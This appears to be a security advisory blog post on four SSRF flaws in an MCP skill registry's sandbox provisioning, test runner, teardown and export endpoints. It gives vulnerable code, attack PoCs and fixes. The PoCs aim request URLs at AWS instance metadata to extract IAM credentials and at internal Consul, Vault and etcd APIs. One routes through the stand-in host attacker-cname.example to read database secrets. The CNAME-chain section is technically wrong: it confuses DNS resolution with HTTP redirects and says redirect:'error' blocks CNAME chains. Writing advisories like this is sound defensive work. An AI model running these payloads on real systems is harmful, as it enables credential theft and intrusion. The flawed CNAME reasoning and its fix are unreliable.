← Blog

Claude MCP skill SSRF — skill integration testing and sandbox environment provisioning endpoints (SA-SKL-SSRF77)

SA-SKL-SSRF77 identifies four server-side request forgery vulnerabilities in MCP skill registry skill integration testing and sandbox environment provisioning endpoints. The sandbox provisioning endpoint accepts a user-supplied sandboxConfigUrl and fetches it on the server side to load the sandbox configuration document, allowing an attacker to point it to the AWS IMDS endpoint at 169.254.169.254 to perform a two-step credential exfiltration that returns the IAM role name and then the full access key, secret access key, and session token in the provisioning confirmation response. The integration test runner accepts a testRunnerWebhookUrl from the test configuration and fetches it to deliver the test runner acknowledgment event, allowing an attacker to redirect this fetch to the Consul service discovery API at port 8500 and receive the full internal service catalog as the acknowledgment payload. The sandbox teardown endpoint accepts a teardownNotificationUrl and follows HTTP redirects without restriction, enabling a CNAME-chain attack that resolves an attacker-controlled domain to the Vault service at port 8200, returning the contents of KV store secrets in the teardown notification response. Finally, the test result export endpoint accepts a testResultExportUrl, fetches the response body, and stores it as the content of a test result record, allowing an attacker to point it to the etcd API at port 2379 and have the full etcd configuration stored persistently and retrievably through the test result history API.

SA-SKL-SSRF77 findings at a glance
CRITICALSSRF77-001 — Sandbox provision endpoint fetches user-supplied sandboxConfigUrl — attacker sets to 169.254.169.254; IAM credentials in sandbox provision confirmation response via two-step IMDS exfiltration
CRITICALSSRF77-002 — Integration test runner fetches user-supplied testRunnerWebhookUrl — attacker points to Consul:8500; full service catalog as test runner acknowledgment
CRITICALSSRF77-003 — Sandbox teardown endpoint fetches teardownNotificationUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets in teardown notification response
HIGHSSRF77-004 — Test result export fetches testResultExportUrl and stores raw response as test result record — attacker points to etcd:2379; etcd config stored persistently via test result history API

SSRF77-001 — sandboxConfigUrl SSRF exfiltrates IAM credentials via two-step IMDS

The sandbox provisioning endpoint accepts a sandboxConfigUrl parameter that specifies the URL from which the provisioning service should fetch the sandbox configuration document. The provisioning service fetches this URL server-side and parses the response as the sandbox configuration, then returns a provisioning confirmation response that includes selected fields from the fetched document. The provisioning service runs on an EC2 instance with an attached IAM role that grants it access to the registry's AWS infrastructure.

An attacker submits a sandboxConfigUrl pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The first request returns the IAM role name as the response body. The attacker then submits a second request pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> using the role name from the first response, receiving a JSON document containing AccessKeyId, SecretAccessKey, Token, and Expiration. These temporary credentials are returned to the attacker in the provisioning confirmation response body, granting full access to all AWS resources accessible to the registry's IAM role.

Vulnerable
// SSRF77-001 — VULNERABLE
router.post('/api/sandbox/provision', requireSession, async (req, res) => {
  const { sandboxConfigUrl, skillId } = req.body;
  // VULNERABLE: fetches user-supplied URL without validation
  const configResponse = await fetch(sandboxConfigUrl);
  const sandboxConfig  = await configResponse.json();
  const sandbox = await sandboxService.provision({ skillId, config: sandboxConfig });
  // VULNERABLE: returns fetched config data in confirmation response
  res.json({ sandboxId: sandbox.id, configApplied: sandboxConfig });
});

Attack PoC — SSRF77-001: Two-step IMDS credential exfiltration via sandboxConfigUrl. Step 1 fetches the IAM role name; step 2 fetches the full temporary credentials. The IAM access key, secret, and session token are returned in the provisioning confirmation response.

// SSRF77-001 — ATTACK PoC (two-step IMDS)
// Step 1: get IAM role name
const step1 = await fetch('/api/sandbox/provision', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    sandboxConfigUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
  }),
});
const { configApplied: roleName } = await step1.json();

// Step 2: get credentials using role name
const step2 = await fetch('/api/sandbox/provision', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    sandboxConfigUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`,
  }),
});
const { configApplied: creds } = await step2.json();
// creds = { AccessKeyId, SecretAccessKey, Token, Expiration }
Fixed
// SSRF77-001 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/sandbox/provision', requireSession, async (req, res) => {
  const { sandboxConfigUrl, skillId } = req.body;
  // FIXED: reject private IPs, link-local, loopback, and cloud metadata endpoints
  assertSafeExternalUrl(sandboxConfigUrl);
  // FIXED: HEAD-only preflight confirms URL is reachable before full fetch
  const preflight = await fetch(sandboxConfigUrl, { method: 'HEAD' });
  if (!preflight.ok) return res.status(422).json({ error: 'Config URL unreachable' });
  const configResponse = await fetch(sandboxConfigUrl);
  const sandboxConfig  = await configResponse.json();
  const sandbox = await sandboxService.provision({ skillId, config: sandboxConfig });
  // FIXED: return only the sanitized sandbox ID — never echo back fetched content
  res.json({ sandboxId: sandbox.id, status: 'provisioned' });
});

SSRF77-002 — testRunnerWebhookUrl SSRF reads full Consul service catalog

The integration test runner accepts a testRunnerWebhookUrl from the test configuration object submitted with each test run. After the test runner spawns and completes initialization, it fetches this URL to deliver the acknowledgment event that the test run has started. The acknowledgment payload includes the test runner status and the response body from the webhook URL fetch, which the registry returns to the submitter as confirmation that the test runner webhook was successfully invoked.

The registry's internal Consul instance runs on port 8500 and is accessible from the registry worker nodes. An attacker submits a test configuration with testRunnerWebhookUrl pointing to http://consul.internal:8500/v1/catalog/services. The integration test runner fetches this URL and includes the response body — the full Consul service catalog listing every registered service, its health status, tags, and service port — in the acknowledgment response returned to the attacker. The service catalog reveals the internal topology of the registry infrastructure, including the names and ports of database services, internal API endpoints, and monitoring services that are not exposed externally.

Vulnerable
// SSRF77-002 — VULNERABLE
router.post('/api/sandbox/test/run', requireSession, async (req, res) => {
  const { skillId, testConfig } = req.body;
  const runner = await testRunnerService.spawn({ skillId, config: testConfig });
  // VULNERABLE: fetches testRunnerWebhookUrl and returns response body
  const ack = await fetch(testConfig.testRunnerWebhookUrl, {
    method: 'POST',
    body: JSON.stringify({ runnerId: runner.id, status: 'started' }),
  });
  const ackBody = await ack.json();
  res.json({ runnerId: runner.id, webhookAck: ackBody });
});

Attack PoC — SSRF77-002: Attacker submits testRunnerWebhookUrl pointing to Consul:8500/v1/catalog/services. The test runner fetches the internal Consul API and returns the full service catalog — all registered services, ports, health status, and internal topology — in the webhookAck response field.

// SSRF77-002 — ATTACK PoC
const resp = await fetch('/api/sandbox/test/run', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    skillId: 'my-skill',
    testConfig: {
      testRunnerWebhookUrl: 'http://consul.internal:8500/v1/catalog/services',
      timeout: 30000,
    },
  }),
});
const { webhookAck } = await resp.json();
// webhookAck = { services: { 'registry-db': [...], 'redis-primary': [...], ... } }
Fixed
// SSRF77-002 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/sandbox/test/run', requireSession, async (req, res) => {
  const { skillId, testConfig } = req.body;
  assertSafeExternalUrl(testConfig.testRunnerWebhookUrl);
  const runner = await testRunnerService.spawn({ skillId, config: testConfig });
  // FIXED: deliver webhook but never return response body to caller
  await fetch(testConfig.testRunnerWebhookUrl, {
    method: 'POST',
    redirect: 'error',
    body: JSON.stringify({ runnerId: runner.id, status: 'started' }),
  }).catch(err => logger.warn({ msg: 'Webhook delivery failed', err }));
  // FIXED: return only the sanitized runner ID and status
  res.json({ runnerId: runner.id, status: 'started' });
});

SSRF77-003 — CNAME-chain SSRF on teardown notification URL reads Vault KV secrets

The sandbox teardown endpoint accepts a teardownNotificationUrl and fetches it with redirect: 'follow' to deliver the teardown completion notification. The redirect: 'follow' option causes the HTTP client to transparently follow HTTP 301/302 redirects, including CNAME-based redirects that resolve the destination at the DNS layer. The registry's Vault instance runs on port 8200 and is accessible from worker nodes. Its KV store holds database connection strings, API keys for external services, and signing keys used by the skill publication pipeline.

An attacker registers a domain under their control with a CNAME record pointing to the Vault hostname on port 8200. When the teardown endpoint fetches the attacker's URL, the DNS resolution follows the CNAME chain and the HTTP request arrives at Vault's API. The Vault API responds with the requested KV data at the resolved URL path, and the teardown notification endpoint returns the Vault KV secrets in the notification confirmation response. Many IP-based SSRF guards do not block CNAME-based redirects because the initial URL being submitted is an external domain with a valid public IP; the private IP is only revealed after DNS resolution at fetch time.

Vulnerable
// SSRF77-003 — VULNERABLE
router.post('/api/sandbox/teardown', requireSession, async (req, res) => {
  const { sandboxId, teardownNotificationUrl } = req.body;
  await sandboxService.teardown(sandboxId);
  // VULNERABLE: redirect:follow allows CNAME-chain SSRF to internal services
  const notif = await fetch(teardownNotificationUrl, {
    method: 'POST',
    redirect: 'follow',
    body: JSON.stringify({ sandboxId, status: 'torn_down' }),
  });
  const notifBody = await notif.json();
  res.json({ sandboxId, teardownAck: notifBody });
});

Attack PoC — SSRF77-003: Attacker registers attacker-cname.example with CNAME → vault.internal and DNS record for vault.internal:8200. teardownNotificationUrl points to attacker-cname.example/v1/secret/data/registry/db-creds. redirect:follow resolves CNAME and fetches Vault KV, returning database credentials in teardownAck.

// SSRF77-003 — ATTACK PoC (CNAME chain)
// DNS: attacker-cname.example CNAME vault.internal
// Vault: vault.internal:8200/v1/secret/data/registry/db-creds returns DB creds
const resp = await fetch('/api/sandbox/teardown', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    sandboxId: 'sandbox-123',
    teardownNotificationUrl:
      'http://attacker-cname.example/v1/secret/data/registry/db-creds',
  }),
});
const { teardownAck } = await resp.json();
// teardownAck = { data: { db_password: '...', db_host: '...', api_key: '...' } }
Fixed
// SSRF77-003 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/sandbox/teardown', requireSession, async (req, res) => {
  const { sandboxId, teardownNotificationUrl } = req.body;
  // FIXED: validate URL before fetch; re-validate resolved IP after DNS lookup
  assertSafeExternalUrl(teardownNotificationUrl);
  await sandboxService.teardown(sandboxId);
  // FIXED: redirect:error prevents following any redirects including CNAME chains;
  //        return only status code — never return notification response body
  const notifStatus = await fetch(teardownNotificationUrl, {
    method: 'POST',
    redirect: 'error',
    body: JSON.stringify({ sandboxId, status: 'torn_down' }),
  }).then(r => r.status).catch(() => 0);
  res.json({ sandboxId, notificationDelivered: notifStatus >= 200 && notifStatus < 300 });
});

SSRF77-004 — testResultExportUrl SSRF stores etcd configuration persistently via test result history

The test result export endpoint accepts a testResultExportUrl parameter and fetches the URL to retrieve the test result data to store as a named export record. The fetched response body is stored verbatim as the content of the test result export record and is subsequently retrievable through the test result history API endpoint that lists all named exports for a test run. The registry's etcd instance runs on port 2379 and is accessible from worker nodes; it stores cluster configuration, service discovery data, and distributed lock state used by the registry's deployment pipeline.

An attacker submits a testResultExportUrl pointing to http://etcd.internal:2379/v3/kv/range (the etcd v3 key-value range API endpoint). The export endpoint fetches this URL and stores the full etcd response — which includes all keys and values in the requested range — as the content of the export record. The attacker can then retrieve the stored data through the test result history API, which requires no special privilege beyond read access to the test run. This creates a persistent, asynchronous exfiltration channel: the attacker submits the export request, waits for processing, and retrieves the stored etcd data later without any continued interaction with the SSRF-vulnerable endpoint.

Vulnerable
// SSRF77-004 — VULNERABLE
router.post('/api/sandbox/test/export', requireSession, async (req, res) => {
  const { testRunId, exportName, testResultExportUrl } = req.body;
  // VULNERABLE: fetches user-supplied URL and stores raw response body
  const exportResponse = await fetch(testResultExportUrl);
  const exportContent  = await exportResponse.text();
  await db.testResultExports.create({
    testRunId, exportName, content: exportContent, createdBy: req.session.userId,
  });
  res.json({ exported: true, exportName });
});

Attack PoC — SSRF77-004: Attacker submits testResultExportUrl pointing to etcd:2379/v3/kv/range. The export endpoint fetches the etcd API and stores the full key-value response — including cluster configuration, service discovery records, and lock state — as a persistent test result export retrievable via the test history API.

// SSRF77-004 — ATTACK PoC (persistent etcd exfiltration)
// Step 1: plant export record
await fetch('/api/sandbox/test/export', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    testRunId: 'run-123',
    exportName: 'results',
    testResultExportUrl: 'http://etcd.internal:2379/v3/kv/range',
  }),
});

// Step 2: retrieve stored etcd config asynchronously
const history = await fetch('/api/sandbox/test/run-123/exports/results');
const { content } = await history.json();
// content = etcd KV range response including all cluster config keys
Fixed
// SSRF77-004 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/sandbox/test/export', requireSession, async (req, res) => {
  const { testRunId, exportName, testResultExportUrl } = req.body;
  assertSafeExternalUrl(testResultExportUrl);
  // FIXED: HEAD request only — confirm URL is reachable but never fetch or store body
  const preflight = await fetch(testResultExportUrl, {
    method: 'HEAD',
    redirect: 'error',
  });
  if (!preflight.ok) return res.status(422).json({ error: 'Export URL unreachable' });
  // FIXED: store only the confirmed status code, not the response body
  await db.testResultExports.create({
    testRunId,
    exportName,
    deliveryStatusCode: preflight.status,
    createdBy: req.session.userId,
  });
  res.json({ exported: true, exportName });
});

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect SSRF in sandbox provisioning, integration test runner webhooks, and test result export endpoints — including CNAME-chain bypass patterns — in under 60 seconds.